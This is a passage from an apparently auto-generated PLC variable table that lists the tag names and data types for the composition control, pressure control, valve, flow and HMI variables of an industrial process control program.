+95;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_MIN;UINT; +96;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RATE;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RATE;REAL; +97;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.OFFSET;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.OFFSET;REAL; +98;FB;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2;SCALE_TO_REAL; +99;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.EN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.EN;BOOL; +100;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.ENO;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.ENO;BOOL; +101;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE;UINT; +102;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.SCALED_REAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.SCALED_REAL;REAL; +103;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.REAL_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.REAL_MAX;REAL; +104;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.REAL_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.REAL_MIN;REAL; +105;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_MAX;UINT; +106;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_MIN;UINT; +107;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RATE;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RATE;REAL; +108;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.OFFSET;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.OFFSET;REAL; +109;FB;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0;SCALE_TO_UINT; +110;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.EN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.EN;BOOL; +111;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.ENO;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.ENO;BOOL; +112;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.REAL_IN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.REAL_IN;REAL; +113;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.UINT_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.UINT_OUT;UINT; +114;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;REAL; +115;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;REAL; +116;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;UINT; +117;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMP_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMP_MAX;REAL; +118;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMP_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMP_MIN;REAL; +119;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.POS_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.POS_MAX;REAL; +120;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.POS_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.POS_MIN;REAL; +121;FB;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0;SCALE_TO_REAL; +122;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.EN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.EN;BOOL; +123;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.ENO;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.ENO;BOOL; +124;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE;UINT; +125;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.SCALED_REAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.SCALED_REAL;REAL; +126;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.REAL_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.REAL_MAX;REAL; +127;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.REAL_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.REAL_MIN;REAL; +128;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_MAX;UINT; +129;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_MIN;UINT; +130;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RATE;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RATE;REAL; +131;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.OFFSET;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.OFFSET;REAL; +132;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SUB45_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SUB45_OUT;REAL; +133;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.MUL46_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.MUL46_OUT;REAL; +134;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.ADD42_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.ADD42_OUT;REAL; +135;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.LIMIT44_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.LIMIT44_OUT;REAL; +136;FB;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0;SCALE_TO_SIGNED; +137;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.EN;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.EN;BOOL; +138;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.ENO;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.ENO;BOOL; +139;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.INPUT_UINT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.INPUT_UINT;UINT; +140;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.OUTPUT_INT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.OUTPUT_INT;INT; +141;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.DIV3_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.DIV3_OUT;UINT; +142;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.ABS8_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.ABS8_OUT;UINT; +143;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.UINT_TO_INT9_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.UINT_TO_INT9_OUT;INT; +144;VAR;CONFIG0.RES0.INSTANCE0.F1_VALVE_POS;CONFIG0.RES0.INSTANCE0.F1_VALVE_POS;UINT; +145;VAR;CONFIG0.RES0.INSTANCE0.F1_FLOW;CONFIG0.RES0.INSTANCE0.F1_FLOW;UINT; +146;VAR;CONFIG0.RES0.INSTANCE0.F2_VALVE_POS;CONFIG0.RES0.INSTANCE0.F2_VALVE_POS;UINT; +147;VAR;CONFIG0.RES0.INSTANCE0.F2_FLOW;CONFIG0.RES0.INSTANCE0.F2_FLOW;UINT; +148;VAR;CONFIG0.RES0.INSTANCE0.PURGE_VALVE_POS;CONFIG0.RES0.INSTANCE0.PURGE_VALVE_POS;UINT; +149;VAR;CONFIG0.RES0.INSTANCE0.PURGE_FLOW;CONFIG0.RES0.INSTANCE0.PURGE_FLOW;UINT; +150;VAR;CONFIG0.RES0.INSTANCE0.PRODUCT_VALVE_POS;CONFIG0.RES0.INSTANCE0.PRODUCT_VALVE_POS;UINT; +151;VAR;CONFIG0.RES0.INSTANCE0.PRODUCT_FLOW;CONFIG0.RES0.INSTANCE0.PRODUCT_FLOW;UINT; +152;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE;CONFIG0.RES0.INSTANCE0.PRESSURE;UINT; +153;VAR;CONFIG0.RES0.INSTANCE0.LEVEL;CONFIG0.RES0.INSTANCE0.LEVEL;UINT; +154;VAR;CONFIG0.RES0.INSTANCE0.A_IN_PURGE;CONFIG0.RES0.INSTANCE0.A_IN_PURGE;UINT; +155;VAR;CONFIG0.RES0.INSTANCE0.B_IN_PURGE;CONFIG0.RES0.INSTANCE0.B_IN_PURGE;UINT; +156;VAR;CONFIG0.RES0.INSTANCE0.C_IN_PURGE;CONFIG0.RES0.INSTANCE0.C_IN_PURGE;UINT; +157;VAR;CONFIG0.RES0.INSTANCE0.F1_VALVE_SP;CONFIG0.RES0.INSTANCE0.F1_VALVE_SP;UINT; +158;VAR;CONFIG0.RES0.INSTANCE0.F2_VALVE_SP;CONFIG0.RES0.INSTANCE0.F2_VALVE_SP;UINT; +159;VAR;CONFIG0.RES0.INSTANCE0.PURGE_VALVE_SP;CONFIG0.RES0.INSTANCE0.PURGE_VALVE_SP;UINT; +160;VAR;CONFIG0.RES0.INSTANCE0.PRODUCT_VALVE_SP;CONFIG0.RES0.INSTANCE0.PRODUCT_VALVE_SP;UINT; +161;VAR;CONFIG0.RES0.INSTANCE0.PRODUCT_VALVE_SAFE;CONFIG0.RES0.INSTANCE0.PRODUCT_VALVE_SAFE;UINT; +162;VAR;CONFIG0.RES0.INSTANCE0.PURGE_VALVE_SAFE;CONFIG0.RES0.INSTANCE0.PURGE_VALVE_SAFE;UINT; +163;VAR;CONFIG0.RES0.INSTANCE0.F1_VALVE_SAFE;CONFIG0.RES0.INSTANCE0.F1_VALVE_SAFE;UINT; +164;VAR;CONFIG0.RES0.INSTANCE0.F2_VALVE_SAFE;CONFIG0.RES0.INSTANCE0.F2_VALVE_SAFE;UINT; +165;FB;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0;PRESSURE_CONTROL; +166;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.EN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.EN;BOOL; +167;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.ENO;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.ENO;BOOL; +168;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_REAL;REAL; +169;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE;UINT; +170;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_SP_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_SP_REAL;REAL; +171;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_SP;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_SP;UINT; +172;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.CURR_POS;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.CURR_POS;UINT; +173;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.VALVE_POS_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.VALVE_POS_REAL;REAL; +174;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.POS_UPDATE_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.POS_UPDATE_REAL;REAL; +175;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.VALVE_POS_NOMINAL;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.VALVE_POS_NOMINAL;REAL; +176;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.VALVE_POS;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.VALVE_POS;UINT; +177;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_K;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_K;REAL; +178;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_TI;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_TI;REAL; +179;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.CYCLE_TIME;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.CYCLE_TIME;TIME; +180;FB;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5;SCALE_TO_REAL; +181;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.EN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.EN;BOOL; +182;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.ENO;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.ENO;BOOL; +183;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_INPUT_VALUE;UINT; +184;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.SCALED_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.SCALED_REAL;REAL; +185;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.REAL_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.REAL_MAX;REAL; +186;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.REAL_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.REAL_MIN;REAL; +187;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_MAX;UINT; +188;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_MIN;UINT; +189;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RATE;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RATE;REAL; +190;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.OFFSET;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.OFFSET;REAL; +191;FB;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4;SCALE_TO_REAL; +192;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.EN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.EN;BOOL; +193;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.ENO;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.ENO;BOOL; +194;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RAW_INPUT_VALUE;UINT; +195;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.SCALED_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.SCALED_REAL;REAL; +196;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.REAL_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.REAL_MAX;REAL; +197;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.REAL_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.REAL_MIN;REAL; +198;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RAW_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RAW_MAX;UINT; +199;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RAW_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RAW_MIN;UINT; +200;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RATE;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RATE;REAL; +201;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.OFFSET;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.OFFSET;REAL; +202;FB;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0;SCALE_TO_UINT; +203;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.EN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.EN;BOOL; +204;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.ENO;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.ENO;BOOL; +205;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.REAL_IN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.REAL_IN;REAL; +206;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.UINT_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.UINT_OUT;UINT; +207;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;REAL; +208;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;REAL; +209;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;UINT; +210;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_MAX;REAL; +211;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_MIN;REAL; +212;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.POS_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.POS_MIN;REAL; +213;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.POS_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.POS_MAX;REAL; +214;FB;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0;SCALE_TO_REAL; +215;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.EN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.EN;BOOL; +216;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.ENO;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.ENO;BOOL; +217;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE;UINT; +218;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.SCALED_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.SCALED_REAL;REAL; +219;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.REAL_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.REAL_MAX;REAL; +220;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.REAL_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.REAL_MIN;REAL; +221;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RAW_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RAW_MAX;UINT; +222;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RAW_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RAW_MIN;UINT; +223;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RATE;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RATE;REAL; +224;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.OFFSET;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.OFFSET;REAL; +225;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SUB57_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SUB57_OUT;REAL; +226;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.MUL60_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.MUL60_OUT;REAL; +227;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SUB53_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SUB53_OUT;REAL; +228;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.LIMIT55_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.LIMIT55_OUT;REAL; +229;VAR;CONFIG0.RES0.INSTANCE0.HMI_PRESSURE;CONFIG0.RES0.INSTANCE0.HMI_PRESSURE;INT; +230;VAR;CONFIG0.RES0.INSTANCE0.HMI_LEVEL;CONFIG0.RES0.INSTANCE0.HMI_LEVEL;INT; +231;VAR;CONFIG0.RES0.INSTANCE0.HMI_F1_VALVE_POS;CONFIG0.RES0.INSTANCE0.HMI_F1_VALVE_POS;INT; +232;VAR;CONFIG0.RES0.INSTANCE0.HMI_F1_FLOW;CONFIG0.RES0.INSTANCE0.HMI_F1_FLOW;INT; +233;VAR;CONFIG0.RES0.INSTANCE0.HMI_F2_VALVE_POS;CONFIG0.RES0.INSTANCE0.HMI_F2_VALVE_POS;INT; +234;VAR;CONFIG0.RES0.INSTANCE0.HMI_F2_FLOW;CONFIG0.RES0.INSTANCE0.HMI_F2_FLOW;INT; +235;VAR;CONFIG0.RES0.INSTANCE0.HMI_PURGE_VALVE_POS;CONFIG0.RES0.INSTANCE0.HMI_PURGE_VALVE_POS;INT; +236;VAR;CONFIG0.RES0.INSTANCE0.HMI_PURGE_FLOW;CONFIG0.RES0.INSTANCE0.HMI_PURGE_FLOW;INT; +237;VAR;CONFIG0.RES0.INSTANCE0.HMI_PRODUCT_VALVE_POS;CONFIG0.RES0.INSTANCE0.HMI_PRODUCT_VALVE_POS;INT; +238;VAR;CONFIG0.RES0.INSTANCE0.HMI_PRODUCT_FLOW;CONFIG0.RES0.INSTANCE0.HMI_PRODUCT_FLOW;INT; +239;VAR;CONFIG0.RES0.INSTANCE0.SCAN_COUNT;CONFIG0.RES0.INSTANCE0.SCAN_COUNT;UINT; +240;FB;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED1;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED1;SCALE_TO_SIGNED; +241;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED1.EN;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED1.EN;BOOL; 